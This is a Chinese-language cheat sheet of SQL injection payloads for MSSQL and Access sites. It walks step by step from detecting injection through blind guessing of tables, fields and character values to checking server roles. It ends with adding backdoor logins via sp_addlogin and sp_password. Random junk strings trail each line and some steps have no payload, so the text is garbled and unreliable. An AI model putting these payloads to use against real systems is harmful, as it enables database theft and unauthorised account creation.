1.判断是否有注入;and 1=1 ;and 1=2 5H, (\Xd
2.初步判断是否是mssql ;and user>0 yZ]?-7
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3.注入参数是字符'and [查询条件] and ''=' ff=RKKnN
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' A|GsbRuy
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5.判断数据库系统 5bd4]1gj
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 $`R=Q
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 +{}p(9w@
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 :Zo^Uc:*w
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9.(1)猜字段的ascii值(access) 1#8~@CQ ::
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(2)猜字段的ascii值(mssql) bJkFCI/
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 AP8J28I
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10.测试权限结构(mssql) {hm-0Q
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- qQS&K%F
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 1KJ[&jS ]
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Yi19VU|/
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- akwS;|SZ
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- maV*+!\
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;and 1=(select IS_MEMBER('db_owner'));-- 9Z3Vf[n5\
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11.添加mssql和系统的帐户 Hq,NOP
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;exec master.dbo.sp_addlogin username;-- 9A}y^=!`
;exec master.dbo.sp_password null,username,password;-- Xj:\B] v]
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